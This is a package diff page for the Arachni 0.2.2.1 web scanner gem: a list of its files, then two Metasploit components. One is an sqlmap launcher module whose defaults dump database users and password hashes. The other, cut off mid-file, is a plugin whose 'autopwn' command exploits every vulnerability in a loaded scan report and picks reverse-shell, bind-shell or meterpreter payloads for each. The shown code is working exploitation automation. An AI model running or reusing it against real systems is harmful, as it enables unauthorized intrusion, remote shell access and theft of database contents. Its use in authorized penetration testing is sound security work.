arachni 0.2.2.1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (262) hide show
  1. data/ACKNOWLEDGMENTS.md +14 -0
  2. data/AUTHORS.md +6 -0
  3. data/CHANGELOG.md +162 -0
  4. data/CONTRIBUTORS.md +10 -0
  5. data/EXPLOITATION.md +429 -0
  6. data/HACKING.md +101 -0
  7. data/LICENSE.md +341 -0
  8. data/README.md +350 -0
  9. data/Rakefile +86 -0
  10. data/bin/arachni +22 -0
  11. data/bin/arachni_web +77 -0
  12. data/bin/arachni_xmlrpc +21 -0
  13. data/bin/arachni_xmlrpcd +82 -0
  14. data/bin/arachni_xmlrpcd_monitor +74 -0
  15. data/conf/README.webui.yaml.txt +44 -0
  16. data/conf/webui.yaml +11 -0
  17. data/external/metasploit/LICENSE +24 -0
  18. data/external/metasploit/modules/exploits/unix/webapp/arachni_exec.rb +142 -0
  19. data/external/metasploit/modules/exploits/unix/webapp/arachni_path_traversal.rb +113 -0
  20. data/external/metasploit/modules/exploits/unix/webapp/arachni_php_eval.rb +150 -0
  21. data/external/metasploit/modules/exploits/unix/webapp/arachni_php_include.rb +141 -0
  22. data/external/metasploit/modules/exploits/unix/webapp/arachni_sqlmap.rb +92 -0
  23. data/external/metasploit/plugins/arachni.rb +536 -0
  24. data/getoptslong.rb +241 -0
  25. data/lib/anemone.rb +2 -0
  26. data/lib/anemone/cookie_store.rb +35 -0
  27. data/lib/anemone/core.rb +371 -0
  28. data/lib/anemone/exceptions.rb +5 -0
  29. data/lib/anemone/http.rb +144 -0
  30. data/lib/anemone/page.rb +337 -0
  31. data/lib/anemone/page_store.rb +160 -0
  32. data/lib/anemone/storage.rb +34 -0
  33. data/lib/anemone/storage/base.rb +75 -0
  34. data/lib/anemone/storage/exceptions.rb +15 -0
  35. data/lib/anemone/storage/mongodb.rb +89 -0
  36. data/lib/anemone/storage/pstore.rb +50 -0
  37. data/lib/anemone/storage/redis.rb +90 -0
  38. data/lib/anemone/storage/tokyo_cabinet.rb +57 -0
  39. data/lib/anemone/tentacle.rb +40 -0
  40. data/lib/arachni.rb +16 -0
  41. data/lib/audit_store.rb +346 -0
  42. data/lib/component_manager.rb +293 -0
  43. data/lib/component_options.rb +395 -0
  44. data/lib/exceptions.rb +76 -0
  45. data/lib/framework.rb +637 -0
  46. data/lib/http.rb +809 -0
  47. data/lib/issue.rb +302 -0
  48. data/lib/module.rb +4 -0
  49. data/lib/module/auditor.rb +455 -0
  50. data/lib/module/base.rb +188 -0
  51. data/lib/module/element_db.rb +158 -0
  52. data/lib/module/key_filler.rb +87 -0
  53. data/lib/module/manager.rb +87 -0
  54. data/lib/module/output.rb +68 -0
  55. data/lib/module/trainer.rb +240 -0
  56. data/lib/module/utilities.rb +110 -0
  57. data/lib/options.rb +547 -0
  58. data/lib/parser.rb +2 -0
  59. data/lib/parser/auditable.rb +522 -0
  60. data/lib/parser/elements.rb +296 -0
  61. data/lib/parser/page.rb +149 -0
  62. data/lib/parser/parser.rb +717 -0
  63. data/lib/plugin.rb +4 -0
  64. data/lib/plugin/base.rb +110 -0
  65. data/lib/plugin/manager.rb +162 -0
  66. data/lib/report.rb +4 -0
  67. data/lib/report/base.rb +119 -0
  68. data/lib/report/manager.rb +92 -0
  69. data/lib/rpc/xml/client/base.rb +71 -0
  70. data/lib/rpc/xml/client/dispatcher.rb +49 -0
  71. data/lib/rpc/xml/client/instance.rb +88 -0
  72. data/lib/rpc/xml/server/base.rb +90 -0
  73. data/lib/rpc/xml/server/dispatcher.rb +357 -0
  74. data/lib/rpc/xml/server/framework.rb +206 -0
  75. data/lib/rpc/xml/server/instance.rb +191 -0
  76. data/lib/rpc/xml/server/module/manager.rb +46 -0
  77. data/lib/rpc/xml/server/options.rb +124 -0
  78. data/lib/rpc/xml/server/output.rb +299 -0
  79. data/lib/rpc/xml/server/plugin/manager.rb +58 -0
  80. data/lib/ruby.rb +5 -0
  81. data/lib/ruby/object.rb +32 -0
  82. data/lib/ruby/string.rb +74 -0
  83. data/lib/ruby/xmlrpc/server.rb +27 -0
  84. data/lib/spider.rb +200 -0
  85. data/lib/typhoeus/request.rb +91 -0
  86. data/lib/typhoeus/response.rb +34 -0
  87. data/lib/ui/cli/cli.rb +744 -0
  88. data/lib/ui/cli/output.rb +279 -0
  89. data/lib/ui/web/log.rb +82 -0
  90. data/lib/ui/web/output_stream.rb +94 -0
  91. data/lib/ui/web/report_manager.rb +222 -0
  92. data/lib/ui/web/server.rb +903 -0
  93. data/lib/ui/web/server/db/placeholder +0 -0
  94. data/lib/ui/web/server/public/banner.png +0 -0
  95. data/lib/ui/web/server/public/bodybg-small.png +0 -0
  96. data/lib/ui/web/server/public/bodybg.png +0 -0
  97. data/lib/ui/web/server/public/css/smoothness/images/pbar-ani.gif +0 -0
  98. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_flat_0_aaaaaa_40x100.png +0 -0
  99. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_flat_75_ffffff_40x100.png +0 -0
  100. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_55_fbf9ee_1x400.png +0 -0
  101. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_65_ffffff_1x400.png +0 -0
  102. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_75_dadada_1x400.png +0 -0
  103. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_75_e6e6e6_1x400.png +0 -0
  104. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_95_fef1ec_1x400.png +0 -0
  105. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_highlight-soft_75_cccccc_1x100.png +0 -0
  106. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_222222_256x240.png +0 -0
  107. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_2e83ff_256x240.png +0 -0
  108. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_454545_256x240.png +0 -0
  109. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_888888_256x240.png +0 -0
  110. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_cd0a0a_256x240.png +0 -0
  111. data/lib/ui/web/server/public/css/smoothness/jquery-ui-1.8.9.custom.css +573 -0
  112. data/lib/ui/web/server/public/favicon.ico +0 -0
  113. data/lib/ui/web/server/public/footer.jpg +0 -0
  114. data/lib/ui/web/server/public/icons/error.png +0 -0
  115. data/lib/ui/web/server/public/icons/info.png +0 -0
  116. data/lib/ui/web/server/public/icons/ok.png +0 -0
  117. data/lib/ui/web/server/public/icons/status.png +0 -0
  118. data/lib/ui/web/server/public/js/jquery-1.4.4.min.js +167 -0
  119. data/lib/ui/web/server/public/js/jquery-ui-1.8.9.custom.min.js +781 -0
  120. data/lib/ui/web/server/public/logo.png +0 -0
  121. data/lib/ui/web/server/public/nav-left.jpg +0 -0
  122. data/lib/ui/web/server/public/nav-right.jpg +0 -0
  123. data/lib/ui/web/server/public/nav-selected-left.jpg +0 -0
  124. data/lib/ui/web/server/public/nav-selected-right.jpg +0 -0
  125. data/lib/ui/web/server/public/reports/placeholder +1 -0
  126. data/lib/ui/web/server/public/sidebar-bottom.jpg +0 -0
  127. data/lib/ui/web/server/public/sidebar-h4.jpg +0 -0
  128. data/lib/ui/web/server/public/sidebar-top.jpg +0 -0
  129. data/lib/ui/web/server/public/spider.png +0 -0
  130. data/lib/ui/web/server/public/style.css +604 -0
  131. data/lib/ui/web/server/tmp/placeholder +0 -0
  132. data/lib/ui/web/server/views/dispatcher.erb +85 -0
  133. data/lib/ui/web/server/views/dispatcher_error.erb +14 -0
  134. data/lib/ui/web/server/views/error.erb +1 -0
  135. data/lib/ui/web/server/views/flash.erb +18 -0
  136. data/lib/ui/web/server/views/home.erb +14 -0
  137. data/lib/ui/web/server/views/instance.erb +213 -0
  138. data/lib/ui/web/server/views/layout.erb +95 -0
  139. data/lib/ui/web/server/views/log.erb +40 -0
  140. data/lib/ui/web/server/views/modules.erb +71 -0
  141. data/lib/ui/web/server/views/options.erb +23 -0
  142. data/lib/ui/web/server/views/output_results.erb +51 -0
  143. data/lib/ui/web/server/views/plugins.erb +42 -0
  144. data/lib/ui/web/server/views/report_formats.erb +30 -0
  145. data/lib/ui/web/server/views/reports.erb +55 -0
  146. data/lib/ui/web/server/views/settings.erb +120 -0
  147. data/lib/ui/web/server/views/welcome.erb +38 -0
  148. data/lib/ui/xmlrpc/dispatcher_monitor.rb +204 -0
  149. data/lib/ui/xmlrpc/xmlrpc.rb +843 -0
  150. data/logs/placeholder +0 -0
  151. data/metamodules/autothrottle.rb +74 -0
  152. data/metamodules/timeout_notice.rb +118 -0
  153. data/metamodules/uniformity.rb +98 -0
  154. data/modules/audit/code_injection.rb +136 -0
  155. data/modules/audit/code_injection_timing.rb +115 -0
  156. data/modules/audit/code_injection_timing/payloads.txt +4 -0
  157. data/modules/audit/csrf.rb +301 -0
  158. data/modules/audit/ldapi.rb +103 -0
  159. data/modules/audit/ldapi/errors.txt +26 -0
  160. data/modules/audit/os_cmd_injection.rb +103 -0
  161. data/modules/audit/os_cmd_injection/payloads.txt +2 -0
  162. data/modules/audit/os_cmd_injection_timing.rb +104 -0
  163. data/modules/audit/os_cmd_injection_timing/payloads.txt +3 -0
  164. data/modules/audit/path_traversal.rb +141 -0
  165. data/modules/audit/response_splitting.rb +105 -0
  166. data/modules/audit/rfi.rb +193 -0
  167. data/modules/audit/sqli.rb +120 -0
  168. data/modules/audit/sqli/regexp_ids.txt +90 -0
  169. data/modules/audit/sqli_blind_rdiff.rb +321 -0
  170. data/modules/audit/sqli_blind_timing.rb +103 -0
  171. data/modules/audit/sqli_blind_timing/payloads.txt +51 -0
  172. data/modules/audit/trainer.rb +89 -0
  173. data/modules/audit/unvalidated_redirect.rb +90 -0
  174. data/modules/audit/xpath.rb +104 -0
  175. data/modules/audit/xpath/errors.txt +26 -0
  176. data/modules/audit/xss.rb +99 -0
  177. data/modules/audit/xss_event.rb +134 -0
  178. data/modules/audit/xss_path.rb +125 -0
  179. data/modules/audit/xss_script_tag.rb +112 -0
  180. data/modules/audit/xss_tag.rb +112 -0
  181. data/modules/audit/xss_uri.rb +125 -0
  182. data/modules/recon/allowed_methods.rb +104 -0
  183. data/modules/recon/backdoors.rb +131 -0
  184. data/modules/recon/backdoors/filenames.txt +16 -0
  185. data/modules/recon/backup_files.rb +177 -0
  186. data/modules/recon/backup_files/extensions.txt +28 -0
  187. data/modules/recon/common_directories.rb +138 -0
  188. data/modules/recon/common_directories/directories.txt +265 -0
  189. data/modules/recon/common_files.rb +138 -0
  190. data/modules/recon/common_files/filenames.txt +17 -0
  191. data/modules/recon/directory_listing.rb +171 -0
  192. data/modules/recon/grep/captcha.rb +62 -0
  193. data/modules/recon/grep/credit_card.rb +85 -0
  194. data/modules/recon/grep/cvs_svn_users.rb +73 -0
  195. data/modules/recon/grep/emails.rb +59 -0
  196. data/modules/recon/grep/html_objects.rb +53 -0
  197. data/modules/recon/grep/private_ip.rb +54 -0
  198. data/modules/recon/grep/ssn.rb +53 -0
  199. data/modules/recon/htaccess_limit.rb +82 -0
  200. data/modules/recon/http_put.rb +95 -0
  201. data/modules/recon/interesting_responses.rb +118 -0
  202. data/modules/recon/unencrypted_password_forms.rb +119 -0
  203. data/modules/recon/webdav.rb +126 -0
  204. data/modules/recon/xst.rb +107 -0
  205. data/path_extractors/anchors.rb +35 -0
  206. data/path_extractors/forms.rb +35 -0
  207. data/path_extractors/frames.rb +38 -0
  208. data/path_extractors/generic.rb +39 -0
  209. data/path_extractors/links.rb +35 -0
  210. data/path_extractors/meta_refresh.rb +39 -0
  211. data/path_extractors/scripts.rb +37 -0
  212. data/path_extractors/sitemap.rb +31 -0
  213. data/plugins/autologin.rb +137 -0
  214. data/plugins/content_types.rb +90 -0
  215. data/plugins/cookie_collector.rb +99 -0
  216. data/plugins/form_dicattack.rb +185 -0
  217. data/plugins/healthmap.rb +94 -0
  218. data/plugins/http_dicattack.rb +133 -0
  219. data/plugins/metamodules.rb +118 -0
  220. data/plugins/proxy.rb +248 -0
  221. data/plugins/proxy/server.rb +66 -0
  222. data/plugins/waf_detector.rb +184 -0
  223. data/profiles/comprehensive.afp +74 -0
  224. data/profiles/full.afp +75 -0
  225. data/reports/afr.rb +59 -0
  226. data/reports/ap.rb +55 -0
  227. data/reports/html.rb +179 -0
  228. data/reports/html/default.erb +967 -0
  229. data/reports/metareport.rb +139 -0
  230. data/reports/metareport/arachni_metareport.rb +174 -0
  231. data/reports/plugin_formatters/html/content_types.rb +82 -0
  232. data/reports/plugin_formatters/html/cookie_collector.rb +66 -0
  233. data/reports/plugin_formatters/html/form_dicattack.rb +54 -0
  234. data/reports/plugin_formatters/html/healthmap.rb +76 -0
  235. data/reports/plugin_formatters/html/http_dicattack.rb +54 -0
  236. data/reports/plugin_formatters/html/metaformatters/timeout_notice.rb +65 -0
  237. data/reports/plugin_formatters/html/metaformatters/uniformity.rb +71 -0
  238. data/reports/plugin_formatters/html/metamodules.rb +93 -0
  239. data/reports/plugin_formatters/html/waf_detector.rb +54 -0
  240. data/reports/plugin_formatters/stdout/content_types.rb +73 -0
  241. data/reports/plugin_formatters/stdout/cookie_collector.rb +61 -0
  242. data/reports/plugin_formatters/stdout/form_dicattack.rb +52 -0
  243. data/reports/plugin_formatters/stdout/healthmap.rb +72 -0
  244. data/reports/plugin_formatters/stdout/http_dicattack.rb +53 -0
  245. data/reports/plugin_formatters/stdout/metaformatters/timeout_notice.rb +55 -0
  246. data/reports/plugin_formatters/stdout/metaformatters/uniformity.rb +68 -0
  247. data/reports/plugin_formatters/stdout/metamodules.rb +89 -0
  248. data/reports/plugin_formatters/stdout/waf_detector.rb +48 -0
  249. data/reports/plugin_formatters/xml/content_types.rb +91 -0
  250. data/reports/plugin_formatters/xml/cookie_collector.rb +70 -0
  251. data/reports/plugin_formatters/xml/form_dicattack.rb +57 -0
  252. data/reports/plugin_formatters/xml/healthmap.rb +82 -0
  253. data/reports/plugin_formatters/xml/http_dicattack.rb +57 -0
  254. data/reports/plugin_formatters/xml/metaformatters/timeout_notice.rb +67 -0
  255. data/reports/plugin_formatters/xml/metaformatters/uniformity.rb +82 -0
  256. data/reports/plugin_formatters/xml/metamodules.rb +91 -0
  257. data/reports/plugin_formatters/xml/waf_detector.rb +58 -0
  258. data/reports/stdout.rb +182 -0
  259. data/reports/txt.rb +77 -0
  260. data/reports/xml.rb +231 -0
  261. data/reports/xml/buffer.rb +98 -0
  262. metadata +516 -0
@@ -0,0 +1,92 @@
1
+ require 'msf/core'
2
+
3
+ class Metasploit3 < Msf::Auxiliary
4
+
5
+ include Msf::Exploit::Remote::HttpClient
6
+
7
+ def initialize(info = {})
8
+ super(update_info(info,
9
+ 'Name' => 'Arachni SQLMAP SQL Injection External Module',
10
+ 'Description' => %q{
11
+
12
+ This module is designed to be used with the Arachni plug-in.
13
+
14
+ From the original:
15
+
16
+ This module launches an sqlmap session.
17
+ sqlmap is an automatic SQL injection tool developed in Python.
18
+ Its goal is to detect and take advantage of SQL injection
19
+ vulnerabilities on web applications. Once it detects one
20
+ or more SQL injections on the target host, the user can
21
+ choose among a variety of options to perform an extensive
22
+ back-end database management system fingerprint, retrieve
23
+ DBMS session user and database, enumerate users, password
24
+ hashes, privileges, databases, dump entire or user
25
+ specific DBMS tables/columns, run his own SQL SELECT
26
+ statement, read specific files on the file system and much
27
+ more.
28
+ },
29
+ 'Author' => [
30
+ 'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>', # modified to work with the Arachni plug-in
31
+ 'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>' # original module: auxiliary/scanner/http/sqlmap.rb
32
+ ],
33
+ 'License' => BSD_LICENSE,
34
+ 'Version' => '$Revision: 9212 $',
35
+ 'References' =>
36
+ [
37
+ ['URL', 'http://github.com/Zapotek/arachni'],
38
+ ['URL', 'http://sqlmap.sourceforge.net'],
39
+ ]
40
+ ))
41
+
42
+ register_options(
43
+ [
44
+ OptString.new('METHOD', [ true, "HTTP Method", 'GET' ]),
45
+ OptString.new('PATH', [ true, "The path to test for SQL injection", 'index.php' ]),
46
+ OptString.new('GET', [ false, "HTTP GET query", 'id=1' ]),
47
+ OptString.new('POST', [ false, "The data string to be sent through POST", '' ]),
48
+ OptString.new('COOKIES', [ false, "", '' ]),
49
+ OptString.new('OPTS', [ false, "The sqlmap options to use", '--users --time-test --passwords --dbs --sql-shell -v 0' ]),
50
+ OptPath.new('SQLMAP_PATH', [ true, "The sqlmap >= 0.8 full path ", 'sqlmap' ]),
51
+ ], self.class)
52
+ end
53
+
54
+ def run
55
+
56
+ sqlmap = datastore['SQLMAP_PATH']
57
+
58
+ if not sqlmap
59
+ print_error("The sqlmap script could not be found")
60
+ return
61
+ end
62
+
63
+ data = datastore['POST'].gsub( 'XXinjectionXX', '' )
64
+ method = datastore['METHOD'].upcase
65
+
66
+ sqlmap_url = (datastore['SSL'] ? "https" : "http")
67
+ sqlmap_url += "://" + datastore['RHOST'] + ":" + datastore['RPORT']
68
+ sqlmap_url += "/" + datastore['PATH']
69
+
70
+ if method == "GET"
71
+ sqlmap_url += '?' + datastore['GET'].gsub( 'XXinjectionXX', '' )
72
+ end
73
+
74
+ cmd = sqlmap + ' -u \'' + sqlmap_url + '\''
75
+ cmd += ' --method ' + method
76
+ cmd += ' ' + datastore['OPTS']
77
+ cmd += ' --cookie \'' + datastore['COOKIES'].to_s + '\'' if datastore['COOKIES']
78
+
79
+ if not data.empty?
80
+ cmd += ' --data \'' + data + '\''
81
+ end
82
+
83
+ if datastore['BATCH'] == true
84
+ cmd += ' --batch'
85
+ end
86
+
87
+ print_status("exec: #{cmd}")
88
+ system( cmd )
89
+ end
90
+
91
+ end
92
+
@@ -0,0 +1,536 @@
1
+ #
2
+ # $Id$
3
+ # $Revision$
4
+ #
5
+
6
+ require 'pp'
7
+
8
+ module Msf
9
+
10
+ class Plugin::Arachni < Msf::Plugin
11
+
12
+ ###
13
+ #
14
+ # This class implements an exploitation platform for web app vulnerabilities
15
+ # discovered by the Arachni WebApp Security Scaner Framework
16
+ # (http://github.com/Zapotek/arachni)
17
+ #
18
+ ###
19
+ class ArachniCommandDispatcher
20
+ include Msf::Ui::Console::CommandDispatcher
21
+
22
+ #
23
+ # The dispatcher's name.
24
+ #
25
+ def name
26
+ "Arachni"
27
+ end
28
+
29
+ #
30
+ # Returns the hash of commands supported by this dispatcher.
31
+ #
32
+ def commands
33
+ {
34
+ "arachni_load" => "Loads an ArachniMetareport file (.afr.msf).",
35
+ "arachni_autopwn" => "Tries to exploit all vulnerabilities.",
36
+ "arachni_list_exploits" => "Lists all matching exploit modules.",
37
+ "arachni_list_vulns" => "Lists all vulnerabilities.",
38
+ "arachni_list_all" => "Same as running 'arachni_list_exploits' & 'arachni_list_vulns'.",
39
+ "arachni_killall" => "Kills all running/pending pwn-jobs.",
40
+ "arachni_manual" => "Prepares a vulnerability for manual exploitation.",
41
+ }
42
+ end
43
+
44
+ #
45
+ # This method loads a metareport file and lists all
46
+ # exploitable vulnerabilities and suitable exploits.
47
+ #
48
+ def cmd_arachni_load( *args )
49
+
50
+ metareport = args[0]
51
+
52
+ if !metareport
53
+ print_error( "Usage: arachni_load [metareport]" )
54
+ return
55
+ end
56
+
57
+ if !File.exist?( metareport )
58
+ print_error( "File '#{metareport}' doesn't exist." )
59
+ return
60
+ end
61
+
62
+ print_status( "Loading report..." )
63
+
64
+ @vulns ||= []
65
+ @exploits ||= []
66
+ YAML.load( IO.read( metareport ) ).each do |vuln|
67
+ data = { }
68
+
69
+ vuln.ivars.keys.each do |k|
70
+ data[k.to_sym] = vuln.ivars[k]
71
+ end
72
+
73
+ begin
74
+ # the MSF doesn't much like hostnames, resolve to an IP address
75
+ # there's probably a beter way to do it...
76
+ host = Rex::Socket.gethostbyname( data[:host] ).pop
77
+ data[:host] = Rex::Socket.addr_ntoa( host )
78
+
79
+ @exploits << data[:exploit]
80
+
81
+ @vulns << data
82
+ rescue
83
+ next
84
+ end
85
+
86
+ end
87
+
88
+ @vulns.uniq!
89
+
90
+ print_status( "Loaded #{@vulns.size} vulnerabilities." )
91
+
92
+ print_line
93
+ cmd_arachni_list_exploits
94
+ cmd_arachni_list_vulns
95
+ print_line
96
+
97
+ print_status( 'Done!' )
98
+ end
99
+
100
+ #
101
+ # Exploits all vulnerabilities
102
+ #
103
+ def cmd_arachni_autopwn( *args )
104
+
105
+ opts = {
106
+ :meterpreter => false,
107
+ :reverse => false,
108
+ :bind => true,
109
+ :quiet => false,
110
+ :regexp => nil
111
+ }
112
+
113
+ args.push( "-h" ) if args.empty?
114
+
115
+ while( !args.empty? && flag = args.shift )
116
+
117
+ case flag
118
+
119
+ when '-h', '--help', '?'
120
+ help()
121
+ return
122
+
123
+ when '-r'
124
+ opts[:reverse] = true
125
+
126
+ when '-b'
127
+ opts[:bind] = true
128
+
129
+ when '-m'
130
+ opts[:meterpreter] = true
131
+
132
+ when '-q'
133
+ opts[:quiet] = true
134
+
135
+ when '-x'
136
+ opts[:regexp] = Regexp.new( args.shift.to_s )
137
+
138
+ when '-a'
139
+ opts[:regexp] = /.*/
140
+
141
+ else
142
+ print_error( 'Unknown option: ' + flag.to_s )
143
+ return
144
+ end
145
+
146
+ end
147
+
148
+ if running?
149
+ print_error( "#{@jobs.size} pwn-jobs haven't finished yet." )
150
+ print_error( 'To kill them run: \'arachni_killall\'' )
151
+ return
152
+ end
153
+
154
+
155
+ if !@vulns
156
+ print_error( 'You must first load a report using \'arachni_load\'.' )
157
+ return
158
+ end
159
+
160
+ if @vulns.empty?
161
+ print_error( 'No vulnerabilities to exploit.' )
162
+ end
163
+
164
+ print_status( 'Running pwn-jobs...' )
165
+ print_line
166
+
167
+ @jobs ||= []
168
+ @vulns.each do |vuln|
169
+
170
+ next if opts[:regexp] && !(vuln[:exploit] =~ opts[:regexp])
171
+
172
+ @jobs << Thread.new( vuln, opts ) do |vulnerability, opts|
173
+ exploit( vulnerability, opts )
174
+ end
175
+ end
176
+
177
+ # Wait on all the jobs we just spawned
178
+ while( !@jobs.empty? )
179
+ # All running jobs are stored in framework.jobs. If it's
180
+ # not in this list, it must have completed.
181
+ @jobs.delete_if { |j| !j.alive? }
182
+
183
+ print_status( "[#{framework.sessions.length} established sessions]):" +
184
+ " Waiting on #{@jobs.length} launched modules to finish execution..." )
185
+ ::IO.select( nil, nil, nil, 5.0 )
186
+ end
187
+
188
+ print_line
189
+ print_status( "The autopwn command has completed with #{framework.sessions.length} sessions" )
190
+ if( framework.sessions.length > 0 )
191
+ print_status( "Enter sessions -i [ID] to interact with a given session ID" )
192
+ print_status( "" )
193
+ print_status( "=" * 80 )
194
+ driver.run_single( "sessions -l -v" )
195
+ print_status( "=" * 80 )
196
+ end
197
+
198
+ end
199
+
200
+ #
201
+ # Decides whether or not any pwn-jobs are running
202
+ #
203
+ def running?
204
+ return @jobs && !@jobs.empty?
205
+ end
206
+
207
+ #
208
+ # Kills all pwn-jobs
209
+ #
210
+ def cmd_arachni_killall
211
+
212
+ if !@jobs
213
+ print_error( "The pwn-job queue hasn't been initialised yet." )
214
+ return
215
+ end
216
+
217
+ if @jobs.empty?
218
+ print_info( "The pwn-job queue is empty." )
219
+ return
220
+ end
221
+
222
+ cnt = 0
223
+ @jobs.each do |j|
224
+ cnt +=1 if Thread.kill( j )
225
+ end
226
+
227
+ @jobs.clear
228
+ print_status( "Killed #{cnt} pwn-jobs." )
229
+
230
+ end
231
+
232
+ #
233
+ # Lists suitable exploits and vulnerabilities
234
+ #
235
+ def cmd_arachni_list_all
236
+ cmd_arachni_list_exploits
237
+ cmd_arachni_list_vulns
238
+ end
239
+
240
+ #
241
+ # Lists all vulnerabilities
242
+ #
243
+ def cmd_arachni_list_vulns
244
+
245
+ if !@vulns
246
+ print_error( 'You must first load a report using \'arachni_load\'.' )
247
+ return
248
+ end
249
+
250
+ if @vulns.empty?
251
+ print_error( 'No vulnerabilities to list.' )
252
+ end
253
+
254
+ @vulns.uniq!
255
+
256
+ vuln_table = Rex::Ui::Text::Table.new(
257
+ 'Header' => "Vulnerabilities",
258
+ 'Indent' => 4,
259
+ 'Columns' => [
260
+ "ID",
261
+ "Host",
262
+ "Path",
263
+ "Name",
264
+ "Method",
265
+ "Params",
266
+ "Exploit"
267
+ ]
268
+ )
269
+
270
+ indent = ""
271
+ @vulns.each_with_index do |vuln, idx|
272
+
273
+ vuln_table << [ idx + 1, vuln[:host], vuln[:path], vuln[:name],
274
+ vuln[:method], vuln[:params].to_s, vuln[:exploit] ]
275
+
276
+ end
277
+
278
+ print_line( "\n#{vuln_table.to_s}\n" )
279
+
280
+ end
281
+
282
+ #
283
+ # Prepares a vulnerability for manual exploitation by ID
284
+ #
285
+ def cmd_arachni_manual( *args )
286
+ idx = args[0]
287
+
288
+ if !idx
289
+ print_error( 'Usage: arachni_manual [ID]' )
290
+ print_line( 'Use \'arachni_vulns\' to see all available IDs.' )
291
+ return
292
+ end
293
+ idx = idx.to_i
294
+ idx -= 1
295
+
296
+ if !@vulns
297
+ print_error( 'You must first load a report using \'arachni_load\'.' )
298
+ return
299
+ end
300
+
301
+ if @vulns.empty?
302
+ print_error( 'No vulnerabilities to exploit.' )
303
+ end
304
+
305
+ vuln = @vulns[idx]
306
+
307
+ if !vuln
308
+ print_error( "Invalid index: #{idx}" )
309
+ cmd_arachni_list_vulns
310
+ return
311
+ end
312
+
313
+
314
+ print_status( "Using #{vuln[:exploit]} ." )
315
+ driver.run_single( "use #{vuln[:exploit]}" )
316
+
317
+ prep_datastore( vuln ).each do |k, v|
318
+ v = '' if !v
319
+ driver.run_single( "set #{k} #{v}" )
320
+ end
321
+
322
+ print_status( "Done!" )
323
+
324
+ begin
325
+
326
+ sploit = framework.modules.create( vuln[:exploit] )
327
+ driver.run_single( "set PAYLOAD #{payload( sploit, vuln )}" )
328
+
329
+
330
+ payload_table = Rex::Ui::Text::Table.new(
331
+ 'Header' => "Compatible payloads",
332
+ 'Indent' => 4,
333
+ 'Columns' => [ "Name", "Description" ]
334
+ )
335
+
336
+ sploit.compatible_payloads.each do |payload|
337
+ payload_table << [ payload[0], payload[1].new.description ]
338
+ end
339
+ rescue
340
+ print_line( "\n#{payload_table.to_s}\n" )
341
+ print_line( "Use: set PAYLOAD <name>" )
342
+ end
343
+
344
+ end
345
+
346
+ #
347
+ # Lists all suitable exploits
348
+ #
349
+ def cmd_arachni_list_exploits
350
+
351
+ if !@exploits
352
+ print_error( 'You must first load a report using \'arachni_load\'.' )
353
+ return
354
+ end
355
+
356
+ if @exploits.empty?
357
+ print_error( 'No exploits to list.' )
358
+ end
359
+
360
+ @exploits.uniq!
361
+
362
+ exploit_table = Rex::Ui::Text::Table.new(
363
+ 'Header' => "Unique exploits",
364
+ 'Indent' => 4,
365
+ 'Columns' => [
366
+ "ID", "Exploit", "Description"
367
+ ]
368
+ )
369
+
370
+ @exploits.each_with_index do |ex, idx|
371
+ desc = framework.modules.create( ex ).description
372
+ exploit_table << [idx + 1, ex, desc ]
373
+ end
374
+
375
+ print_line( "\n#{exploit_table.to_s}\n" )
376
+
377
+ end
378
+
379
+ def help
380
+ print_status("Usage: arachni_autopwn [options]")
381
+ print_line("\t-h Display this help text")
382
+ print_line("\t-x [regexp] Only run modules whose name matches the regex")
383
+ print_line("\t-a Launch exploits against all matched targets")
384
+ # print_line("\t-s Stop on first shell")
385
+ print_line("\t-r Use a reverse connect shell")
386
+ print_line("\t-b Use a bind shell on a random port (default)")
387
+ print_line("\t-m Use a meterpreter shell (if possible)")
388
+ print_line("\t-q Disable exploit module output")
389
+ print_line("")
390
+ end
391
+
392
+ #
393
+ # Exploits a vulnerability based on user opts
394
+ #
395
+ def exploit( vuln, opts )
396
+
397
+ sploit = framework.modules.create( vuln[:exploit] )
398
+
399
+ print_status( "Running #{sploit.fullname}" )
400
+
401
+ sploit.datastore.merge!( prep_datastore( vuln ) )
402
+
403
+ sploit.exploit_simple(
404
+ 'Payload' => payload( sploit, opts ),
405
+ 'LocalInput' => opts[:quiet] ? nil : driver.input,
406
+ 'LocalOutput' => opts[:quiet] ? nil : driver.output,
407
+ 'RunAsJob' => false
408
+ )
409
+
410
+ end
411
+
412
+ #
413
+ # Determines the most suitable payload for an exploit based on user opts
414
+ #
415
+ def payload( sploit, opts )
416
+
417
+ # choose best payloads for a reverse shells
418
+ if opts[:reverse]
419
+
420
+ # choose best payloads for a reverse meterpreter shell
421
+ if opts[:meterpreter]
422
+ payloads = {
423
+ 'exploit/unix/webapp/arachni_php_include' => 'php/meterpreter/reverse_tcp',
424
+ # arachni_exec doesn't have a compatiblem meterpreter shell...
425
+ 'exploit/unix/webapp/arachni_exec' => 'cmd/unix/reverse_perl',
426
+ 'exploit/unix/webapp/arachni_php_eval' => 'php/meterpreter/reverse_tcp',
427
+ }
428
+ # choose best payloads for a standard reverse shell
429
+ else
430
+ payloads = {
431
+ 'exploit/unix/webapp/arachni_php_include' => 'generic/shell_reverse_tcp',
432
+ 'exploit/unix/webapp/arachni_exec' => 'cmd/unix/reverse_perl',
433
+ 'exploit/unix/webapp/arachni_php_eval' => 'generic/shell_reverse_tcp',
434
+ }
435
+ end
436
+
437
+ # choose best payloads for a bind shell (default)
438
+ else
439
+ # choose best payloads for a bind meterpreter shell
440
+ if opts[:meterpreter]
441
+ payloads = {
442
+ 'exploit/unix/webapp/arachni_php_include' => 'php/meterpreter/bind_tcp',
443
+ 'exploit/unix/webapp/arachni_exec' => 'cmd/unix/reverse_perl',
444
+ 'exploit/unix/webapp/arachni_php_eval' => 'php/meterpreter/bind_tcp',
445
+ }
446
+ # choose best payloads for a standard bind shell
447
+ else
448
+ payloads = {
449
